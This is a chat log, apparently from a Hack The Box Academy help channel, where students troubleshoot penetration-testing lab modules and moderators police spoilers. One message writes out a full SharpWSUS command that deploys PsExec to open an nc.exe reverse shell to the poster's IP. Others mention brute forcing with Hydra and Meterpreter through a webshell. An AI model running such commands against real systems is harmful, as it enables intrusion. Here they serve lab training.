I am doing Remote/reverse port forwarding with ssh in pivoting module

[cloud urchin]

@cold star Please take care not to post content from modules above tier 0

[sterile spindle]

Under Android Fundamentals, Android Debug Bridg, I have already successfully emulated Pixel 4 and performed all the necessary steps, but myapp.apk does not show in the Pixel 4 and there is no flag.txt in /sdcard/Download/. Does anybody know what could be going wrong?

[cold star]

Okay

[sage roost]

I'm currently working on the Domain Trusted Attack module on Hack The Box Academy, but the connection is extremely slow and unstable—even after switching VPN servers.

After connecting to the Linux box, I need to use xfreerdp to access a Windows box. However, during this process, the RDP session keeps freezing or disconnecting.

Is there any way to stabilize or improve the performance of this connection?

[cloud urchin]

Try changing regions. ie. EU -> US or US -> EU

also you can make configuration changes to help if need be https://help.hackthebox.com/en/articles/9297532-connecting-to-academy-vpn

I'd also recommend TCP VPN instead of UDP

[shut vapor]

Snaffler: if I dump output to a file and transfer to another system (linux or Windows) how can I get the color to highlight? I see the {Red} {Yellow} {Green} tags, etc, but if I "cat" or "type" the the log in Linux or Windows respectively the colors won't display.

[sage roost]

Thank you for your advice

[ancient niche]

ey guys someone had completed the module AI?

[native turtle]

anyone can help me in spawning a reverse shell using wsus? windows lateral movement module optional exercise

I obtain error: the files for this update failed to download,
using Get-WinEvent I see that it fails to download psexec but even after copy psexec in the wsus folder with the expected name I obtain again the error, that because in my opinion in the payload of psexec is present also \tools\nc.exe, but I would expect another event for a different failed downloaded file... instead I keep having same error on same file

Im using || .\SharpWSUS.exe create /payload:"C:\Tools\sysinternals\PSExec64.exe" /args:"-accepteula -s -d cmd.exe /c 'c:\tools\nc.exe <myip> 9001 -e cmd.exe'" /title:"TestREV" ||

[cloud urchin]

@vernal tapir Please do not spoil contents from modules above tier 0, especially details about the skill assessment

[shut vapor]

I had luck with a SnafflerParser project that parses output, even better than getting color out of the output logs.

[vernal tapir]

I'm so sorry honestly, what's the best way to ask for advice, while still giving enough information for someone to respond? I know it's a hard one for me to see what I can/can't leak you know.

Like don't share specifics etc

[cloud urchin]

Just ask without revealing details like which ID is the admin, etc. Or ask for someone to DM you if you feel like you need to say more things. Anyone who has completed the modules and can help doesn't need the specific details revealing stuff like that.

[vernal tapir]

Yeah that's very true, thank you

[frosty crescent]

In the LFI module, it states "The most common LFI tools are x/y/z" but that they're all unmaintained, is it worth my time learning those or should I just stick to ffuf?

I tend to prefer ffuf over specialized tools personally anyways

[cloud urchin]

ffuf isn't really an LFI tool but rather a web fuzzer

[frosty crescent]

Wouldn't these tools just do web fuzzing tailored to LFI detection anyways

[gray yacht]

Are you still messing around with this one?

[cloud urchin]

which module/section? i'm not seeing any tools in the lfi and file uploads section of the file inclusion module

[frosty crescent]

Bug Bounty Hunter -> File Inclusion -> Automated Scanning, last paragraph "LFI Tools"

[cloud urchin]

the age of the tool doesn't really matter. it also doesn't really matter which tools you use. use what you like, whatever you're comfortable with, etc. some tools may give different results sometimes though, so it's not bad to have alternative ways of doing things.

[frosty crescent]

Ok, I'll try them out then, will probably end up sticking to ffuf though

[cloud urchin]

you can probably hammer that nail in with a wrench, but a hammer is just going to do it better

and i'm not talking about lfi specifically just in general with tools

[vernal tapir]

Hi, if anyone has done the Web Attack Skills Assessment and don't mind giving me a hint or two shoot me a dm or reply please 🙂

[frosty crescent]

dm sent

[knotty coral]

Hi I am having issues with Linux privesc skills assesment - client_loop: send disconnect: Broken pipe on ssh just after few seconds of login

[delicate totem]

Hey, I'm interested in hacking and everything around it. If you find it interesting too or just want to chat, feel free to send me a message.

[storm elk]

Please read #welcome and #rules it will explain how to get verified

[jade trail]

hey all im stuck on a ffuf question, cant seem to figure out what im doing wrong

[silk lagoon]

Wuzz the question

[jade trail]

im running a parameter scan on the page but the response status accross every attempt is the same

[silk lagoon]

That’s the issue, not the question. What is it asking you to do?

[jade trail]

Using what you learned in this section, run a parameter fuzzing scan on this page. what is the parameter accepted by this webpage?

[silk lagoon]

Pm me what you’re trying

[jade trail]

sure

[knotty coral]

Can someone verify it are you facing this? Because its really annoying I have tried changing my vpn file , using pwnbox , stabilisint the shell , getting a revshell from the ssh and changing internet but still its the same everytime.

[ancient niche]

still i'm stuck at AI 😦

[cedar moon]

I am working on HTB Academy - Attacking Common Applications - Attacking ColdFusion. The module ask "What user is ColdFusion running as?"

I have a reverse shell via the ColdFusion exploit they mention in the module text. I run commands that show all of the users on the CF host machine. The module doesn't accept any of them as the correct answer

I've also run commands that show what processes are running on the machine. and which users are running those processes. The module doesn't accept this user account as the correct answer.

[bronze sorrel]

Some can help me with the lesson question "PoC Patching and Null Safety" ?

[desert bay]

so my VM is running, parrotOS won´t open. it´s open for a second, that´s it. any suggestions!

[cloud urchin]

Revert to a previous snapshot if you have it or maybe reinstall? not sure what you mean by you have the VM running but the OS won't "open."

[spark pine]

Hi guys. I'm stuck at Pivoting section of Intro to C2 Ops with Sliver module. I am following the exact same steps to try and reproduce the pivot but for some reason it doesnt work. Modified proxychains.conf, compiled the go chisel for sliver and added it to the directory and restarted, set up the server and then connected using chisel client. My chisel client connects to my server but when i use proxychains with crackmapexec it just doesnt respond. I think the problem could be my chisel server. Did you guys use the default chisel server that comes in the pwnbox?

[glossy cloak]

hi guys, I stuck at web enumeration because "url not found". i am trying to open login page so I can log in and retrieve the flag, but I cant

[spark pine]

try http not https

[glossy cloak]

tried both, with and without port number

[spark pine]

which module is that?

[glossy cloak]

Getting started (Offensive)

[spark pine]

try some of the techniques described in the section

directory busting maybe? 😉

[glossy cloak]

tried them all, gobuster works and I can open the site as seen on scrshot

but when I try to enter log in page 94.237.59.174:31910/private, I cant

[spark pine]

see web source code or subdomain, dns. It is for sure one of the techniques described in the section.

[weak current]

https://academy.ule/112/section/1079
Footprinting Lab - Medium
Footprinting
I cant seem to find the user for the one question

[glossy cloak]

ok, thanx, solved it! 🙂

[peak tendon]

Why can’t I message in general lol

[cloud urchin]

Verify your account by reading the #rules and following the instructions in #welcome to access most channels, including #general.

[peak tendon]

My bad yea

@limber salmon Guess you beat me to it lmao 🤣

[limber salmon]

[shrewd sand]

Anyone else having trouble connecting to target machines on Academy despite being successfully connected via openvpn? This is very strange and only started last night. I've tried everything I can think of (trying NAT and Bridged from VMWare Parrot OS, restarting the computer, flushing cache) but no matter what I do, or how many different HTB servers I try, I can always successfully connect via the given ovpn file, but cannot reach any of the targets, including targets I previously had no problem reaching in earlier modules. "ip a" shows that the tunnel is up, and I can ping the tunnel gateway and get a response no problem, but I cannot for example ssh into a target box (where this had worked previously). It feels like I'm hellbanned from the network or something. I appreciate any help, or if anyone has any advice. Unfortunately this is totally halting my ability to go through any new sections, and it was going great before. (Also for some reason the ability to chat with help is disabled for me)

[fathom pendant]

reach out to support

[compact patrol]

https://help.hackthebox.com/en/articles/5987511-contacting-academy-support

[shrewd sand]

Thank you, I appreciate the response. I reached out via email but for some reason the ability to open a ticket or send a message to the help team is unavailable for me. I've tried on three different computers, my phone, someone else's phone, and still don't have the ability. No adblockers, fresh install of browsers just to make sure. If I've been banned from the feature I don't know why but apologize.

[fathom pendant]

¯_(ツ)_/¯

i'm not staff, but i doubt they'd ban someone from the feature

[shrewd sand]

Yeah it seems very odd to me too. I just figured maybe this was an issue affecting everyone? I really wanted to be sure it wasn't just a browser issue or something.

[fathom pendant]

it's working fine on my end

• Browser: Chrome
• System: ChromeBook/ChromeOS

[shrewd sand]

Thank you, good to know

[round marten]

Would you mind sending me some sort of hint on this? I've been in circles with an executable that, when run on the dev box, does create a revshell. But when put in this folder never connects and produces the same log @shut wraith had. Given the static section had requirements not described in the module I suspect you have a similar hint for this dynamic section.

[gray yacht]

Send me a DM

[peak tendon]

I need my old discord account unlinked from my hackthebox account

[cloud urchin]

you can dm me

[quasi wave]

@gray yacht I finally completed the section we were working on

super cool. I still gotta fix my kali vm but I got this working

I got the flag

double pivoting section completed

[grizzled niche]

I am currently running into something weird with the following question in 10 - Password Attacks and would appreciate a nudge

Q - Check the /tmp directory and find Julio's Kerberos ticket (ccache file). Import the ticket and read the contents of julio.txt from the domain share folder \\DC01\julio.

As expected, I have 2 ccache files for Julio, ones expected and one shouldn't be...except they're both expired between the time it takes me to import, set the variable and smbclient in to get the `.txt file

Screenshots attached
Redoing it again shows the fiel size as 0 now

By the time I get the refreshed ccache file and go through the process again, its already expired

[rustic sage]

Hey, was wondering if someone could help me by explain, why some URL parameters would prefer + instead of spaces, just spent way to long on a module where my URL encoding kept failing because I was encoding spaces instead of +.

[idle meadow]

how do i get started it confusing

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[winged locust]

Hello, I am currently doing the file uploads module and it contains alot of testing/uploading of different file types to the testing server. I was wondering, in a real life situation, wouldn't this be a major trigger point for security systems of any organisation?

[acoustic owl]

Of course this would be discovered quickly, but it has no relevance for the bug bounty, because if it is in scope, you are allowed to do so

[winged locust]

So this method is not recommended for real life pentesting, only for bug bounty and maybe ctfs

[acoustic owl]

You can also use such scans for pentests, if it is in scope

[winged locust]

Okay thanks!

[thin citrus]

Anyone available for #modules message ?

[junior fjord]

NEED HELP :- In CPTS 5th module in Vhost enumeration, they gives us both IP and domain name but only IP works and domain name does't resolving

1. I am connected with VPN

2. I added the entry in etc hosts file

My domain is inlanefreight.htb and the target IP address which I received after clicking spawn target is 83.136.252.217:47513 now how can I use gobuster on this ? Domain is not resolving and gobuster unable to find any hosts on IP 🥲

I also tried via pwnbox but I can't even able to ping the domain which was given for vhost fizzing 🥱

[waxen totem]

You need to add it to the hosts file as mentioned in the module

[junior fjord]

I Added the domain with the target IP in my /etc/hosts file but still I don't able to sruf the website via domain, the domain is inlanefreight.htb

[waxen totem]

what exactly are you putting in the /etc/hosts file?

[junior fjord]

Ya

[sick depot]

Anyone else had issues on the web exploit thick client applications module, im follwoing the first steps and it will not let me execute the new java file it just does not load up

[waxen totem]

yeah... there's a bunch of issues that that can be just watch ippsec fatty

[junior fjord]

Even pwnbox wasn't able to surf that domain but IP does works

[waxen totem]

I ask again: what did you put in /etc/hosts? exactly?

[junior fjord]

Yes brother yes

[waxen totem]

What do you mean yes? Show me what you put

[junior fjord]

I am not able to upload any photo 🥲 + icon is disabled !

Can I send you in DM ?

[waxen totem]

identify your account first to send photos, instructiuons -> #welcome

[junior fjord]

Ok I catch you in few minutes

[rustic sage]

Is it possible to take in exam after completing a path with a student subscription, without paying additional fees? or are the path and the vouthcer different?

[junior fjord]

Hey, I am not able to find account identifier

I am following the steps but I don't see any name account identifier in my user settings on HTB

[waxen totem]

you on app.hackthebox.com and not academy.hackthebox.com ?

[junior fjord]

Ya I am on app.htb.com

I didn't find anything like account identifier

[bright coral]

You can complete the path on a student sub but you still need a voucher to take the exam

[rustic sage]

Thanks

[proud yacht]

Hello, I looked at htb-student's permissions and why is the answer to this question "What non-default privilege does the htb-student user have?" not Remote Desktop Users?
The printed permissions are as follows
Local Group Memberships *Remote Desktop Users *Users

[bright coral]

Because it asks for privilege and not group membership

[proud yacht]

oh, thank you

[outer rapids]

Do any one have the writeups for the last HTB-CTF-CU

[junior fjord]

I found it

Identifyed

[junior fjord]

This is what I added

[waxen totem]

remove the :<port>

[junior fjord]

Ok trying with your suggestions.........

[junior fjord]

Still not working sir 😰

[proud yacht]

i found two Privilege(SeChangeNotifyPrivilege, SeIncreaseWorkingSetPrivacy) But they`re not the answer.
i used command => whoami /priv

[waxen totem]

use the port after the domain

[junior fjord]

Ok trying....

[junior fjord]

Still not working 😰😰🥲

[waxen totem]

http://inlanefreight.htb:<port>

gotta specify the http protocol cos it goes straight to google if not

[junior fjord]

Ok but it's not same with other modules 🥲. Trying......

[waxen totem]

Blame your browser, it automatically chooses whether to use a protocol if it's an ip or search if it doesn't recognize it as an ip or domain

[junior fjord]

Now it works

I able to surf that site 😎

Thanks sir, now I am trying to solve the lab

[bright coral]

you might want to use an elevated shell

[proud yacht]

thx! i solved

[waxen totem]

deleted the image cos it contains spoilers for the lab

Please don't spoil module assessments

[cold star]

Hey guys, I am doing password attacks network services

I am trying to crack rdp password using hydra but it's taking centuries

Like it's check 4 combination per minute and I can not increase it and ncrack Is not also working

Hydra is showing 98 hours to crack the password

[junior fjord]

O sorry I am new, I forget, does it contain any answer of the module ?

[cold star]

Yes you don't share answers of module above tier 0

[gritty kelp]

Can anyone help me with premature session population? Im following exactly the steps and it doesnt work

[gray yacht]

Did you already get the answers to the previous questions? RDP is question 3 right?

[cold star]

Yes

I manged to get all answers expect rdp one

[gray yacht]

Ok did either of those two first questions potentially provide some form of access you could use to enumerate that group?

Might be able to tune your attack a bit better.

[cold star]

Yea but they are different user I can perform attack in the network's but it will change the motive of the module

[gray yacht]

You can DM if you'd like.

[cold star]

Thanks

[wild stratus]

Please help i was doing module password attacks and im at network services

[proud yacht]

Q. "Which account has WRITE_DAC privileges over the \pipe\SQLLocal\SQLEXPRESS01 named pipe?"
I tried running accesschk.exe /accepteula -v \\.\pipe\SQLLocal\SQLEXPRESS01, but I got the error:
'accesschk.exe' is not recognized as an internal or external command, operable program or batch file.
I cannot download accesschk.exe on my VM. Is there any alternative way to check the WRITE_DAC permissions without using accesschk.exe?

[junior fjord]

Ok boss I keep in mind

[gray yacht]

It doesn't look like your lists are in the directory you are running crackmapexec from, as it shows one list being used as the username and the other as a password. Either move into the correct directory, move the files to the directory you're in, or provide the path to them, i.e. -u /home/my/file/is/located/here.list and then it should work. Your output would then display usernames and passwords being used.

[vernal tapir]

Hi all, I'm going back through "Web Attacks with Ffuf" and I'm just looking at the hint (Already completed the answer, just trying to re-learn notes.)

Don't forget to remove copyrights from the wordlist, they clutter the results! -- How is this possible to filter out again, or where is that taught? Thanks 🙂

[gray yacht]

Pretty sure that is with -ic

[vernal tapir]

Yep, first page of the module right at the bottom thanks!! 😄

[bright coral]

You might make yourself familiar with the environment and check C:\tools.

[cold star]

dm I will help

[ancient niche]

Good Afternoon guys, Someone had completed the module AI?

[grizzled niche]

just looking to follow up on this
running into the same issues

[wild stratus]

i dm u

[cold star]

yes

[proud yacht]

Thank you. May I ask one more question?
Is the reason I’m getting "No matching objects found" from accesschk64.exe /accepteula -v \\.\pipe\SQLLocal\SQLEXPRESS01 because the MSSQL$SQLEXPRESS service is not running?
It can`t be running state even with administrator privileges.

[ancient niche]

someone can orient myself a little please :)?

[cedar moon]

Hi.

I am working on HTB Academy - Attacking Common Applications - Attacking ColdFusion. The module asks "What user is ColdFusion running as?"

I have a reverse shell via the ColdFusion exploit they mention in the module text. I run commands that show all of the users on the CF host machine. The module doesn't accept any of them as the correct answer.
I've also run commands that show what processes are running on the machine. and which users are running those processes. The module doesn't accept this user account as the correct answer.

What can / should I do if I am fairly sure I have the correct answer but the module won't accept it? Is there a way to contact HTB support to report it?

[vernal tapir]

I just started the module myself, but is ColdFusion an application? Maybe it needs application user

[cedar moon]

it is an application

I will dig more on this. Windows is not my forte.

[cedar moon]

I cannot find a command to list "system" or "application" accounts specifically. I did find another method to list all accounts on the system. It showed the same as the previous two.

[foggy wren]

Im currently working on "Cracking Passwords with Hashcat", I finished the Module but the only section im stuck on is "Hashing vs. Encryption", its impossible for me to submit the correct Format can someone help me out please? I am certain the Hexadecimal Values are correct.

[bright coral]

No, because you are supposed to use \pipe\<name> instead of \\.\pipe\<name> to refer to pipes

[vernal tapir]

Yo man, try to fuzz the host, theres a ColdFusion.txt in seclists/discovery/web-content

I'm not sure, but I was just looking for a certain wordlist and I stumbled upon that, it might help you

[worthy gazelle]

Hello everyone, I'm currently enrolled in the AI module. Do someone have or had issues when uploading the model.pth file for the malware classification? I'm getting the "Invalid File" error every time I upload the model. I'm using the save_model function as the module suggested. Thanks in advance

[ancient niche]

you don't need upload the module 🙂 i'm at the last exercise 🙂

I've been here for almost 4 months xD

xDDDDDD

[turbid falcon]

hi

[worthy gazelle]

Oh okay 🙂 thanks!

[ancient niche]

Sometimes the answer is right in front of you and you don't see it 🙂

[surreal marsh]

Hello I'm on Broken Authentication using ffuf to find out the admins city (password reset). I've tried tayloring the list to match cities from United Kingdom, then run through all cities. URL is fine, all the headers are ok, everything is correct by my check. Can anyone suggest what am I missing?

EDIT: solved

[gray yacht]

You can DM what you are trying.

[young gale]

What is the username of the ftp user you find via brute-forcing?

need help, i made my anarchy list now i just dont know what the next step is

[young gale]

figured it

[pearl flint]

hey guys,
did anyone had issues with nmap port scanning when working on pivoting/tunneling module pwnbox?

Pretty much everything i scan is filtered, but everything else seems normal when i try to connect to rdp it lets me no issues.

[supple mural]

i need help with password attacks network services rdp

[worthy gazelle]

figured it out, if you ran the resnet50 model on a gpu, dont forget to set it on evaluation mode and bring it back to cpu before saving

[merry path]

Hello

[shut wraith]

Need more info to help u. use the format of questions

[cloud urchin]

@lime cosmos Please don't post answers to questions.

[lime cosmos]

Password Attacks : Protected Files ,
my problem is brute forcing the ftp is take long time ( the pass list 70 k )

[lime cosmos]

i did't post any anser ?

[cloud urchin]

You posted a screenshot that had an answer to a question.

[lime cosmos]

i just asking what i do if the brute forcing take too much time , and if in the exam there is a brute forcing that take long time like this

[lime cosmos]

aaa yes lol sorry

[cloud urchin]

No one can talk about the contents of the exam without risking their certification/account. It's against the rules to talk about the contents of the exam.

[lime cosmos]

ok

[cloud urchin]

HTB has said nothing in the modules should take more than ~30 mins to brute force. I think there was only one question that took a long time in the password attacks module, others were pretty fast if you were doing it right.

They don't want you sitting around for hours trying to crack stuff.

[lime cosmos]

lol in my case .. i try with the pwn box it take me a more then 1 hour to brute forcing the ftp (fast service to brute force )

the mutated-passwords are 70k words

that why am asking maybe my method is wrong or idk

or my internet ...

[gray yacht]

Use the search feature, as this has been asked numerous times.

[cold star]

Mine has been running for 3 hours for mutated password list still not cracked

[cold star]

You managed to crack it?

We can see ftp is open there but that too is taking painstaking time

[terse sedge]

I'm in Password Attacks - Attacking SAM. Question 2. I have brought over the SAM, SYSTEM, AND SECURITY hives to my local machine successfully. When I try to run secretsdump.py on them, I get the following error repeatedly: 'NoneType' object is not subscriptable. I have tried copying the command directly from the module, and I still get this error.

[cold star]

Man there are a lot of questions regarding password attacks 😂😭

[bronze bobcat]

Is anyone here maybe familiar with AD Enumeration & Attacks - Skills Assessment Part I?

I'm stuck even dispite I'm exactly following the steps in the walktrough

[cloud urchin]

yep many people

[bronze bobcat]

Well, when I'm in msfconsole and setup all the variable, after I run exploit, there show's this block of code that I should copy and paste in the Antak webshell.

when I do this, there does seem to be some sort of connection

But...

I don't see a 'meterpreter >' prompt

It is possible to enter commands, like ps for example, but when I enter the command the connection dies and when ps gets executed I get ps output from the local system and not the attack box as I expected according to the instructions.

[pure seal]

I'm trying to install EyeWitness for the attacking common applications module. I'm getting a 404 error when trying to install one of the dependencies, chromium-driver. Is there any fix to this

  404  Not Found [IP: 54.39.128.230 80]

[gray yacht]

You might need to update your signing key.

[pure seal]

Ah. This was it. Thanks

[cold star]

Brother you are creating aspx shell you have to create exe one which you have to upload to web shell and then execute it using start process

[cold star]

You can dm me i will share proper instructions from my notes

[drowsy storm]

hello guys, i have posted https://discord.com/channels/473760315293696010/1373755973667258368
as a request for help if anyone can give me a hint . Thnak you for your help ❤️

[real delta]

be patient

[vestal minnow]

In https://academy.hackthebox.com/module/162/section/1534 it says "Steve is learning about the tool that can make logging a session easier. He messages you for help mentioning that he would like to try to split the panes vertically. What do you tell him? (Answer format: [key] + [key] + [key], i.e., fill in the values for "key" and leave the brackets and + signs.)" and my answer is "||[Ctrl] + [b] + [%]||" idk if its wrong or what

[fathom pendant]

1, you can ask here
2. Dont post spoilers

[fathom pendant]

% isn't a key on its own

The format example isn't the exact number of keys

[drowsy storm]

so i can discuss the module here ? notin the post section !

sorry i didn't mean to spoile

[fathom pendant]

Linux priv esc is above tier 0; you posted a lot of info about the machine.

[drowsy storm]

i'll remove the post right now, sorry man i didn't ment to spoile any one

[fathom pendant]

I believe the answer is only expecting numbers, not the full python x.y.z

[drowsy storm]

ahh i see how it works, maybe if there was a placeholder to indicate the pattern XD,
sorry again for the spoile, i really didn't mean any thing, im new to the server so i don't know every signle detail .
whish you best luck on your journey ❤️

[fathom pendant]

It's in the channel description:)

[vestal minnow]

||[Ctrl] + [b] + [shift] + [5]|| doesnt work neither, i dont get what i have to do

[quasi wave]

hi I'm doing the skills assessment for Pivoting, Tunneling, and Port Forwarding. I got a shell open on my VM to the web server and completed question 1. The file I found in the home folder of the user I found the solve the answer for question 1 doesn't show me the answer to question 2. And I don't see how that's possible because of what question 2 is + because of what the only two files in that user's home folder are. I'm connected as the user via ssh from my VM tho.

can someone help?

I need a hint in the right direction.

[drowsy storm]

the weird part is when i past x.y.z as a response its WRONG XD, and i'm sure that i have fetched all the files or Proc that has a relation to Python .
any way thank you for the advices and your time

[cloud urchin]

There aren't that many files in the user's home directory. Did you try looking at all of them?

[fathom pendant]

i may have answered in a misleading manner (and the answer is a bit silly, replace 5 with the key)

[quasi wave]

yes

but the one said says it has credentials lists creds that don't work when I enter them into flag box

[vestal minnow]

now that is, thanks

[fathom pendant]

It's not looking for the full subversion

[drowsy storm]

lol

bro i was stuck for a huge time XD

[fathom pendant]

The one thing you likely didn't try

[drowsy storm]

hahahaha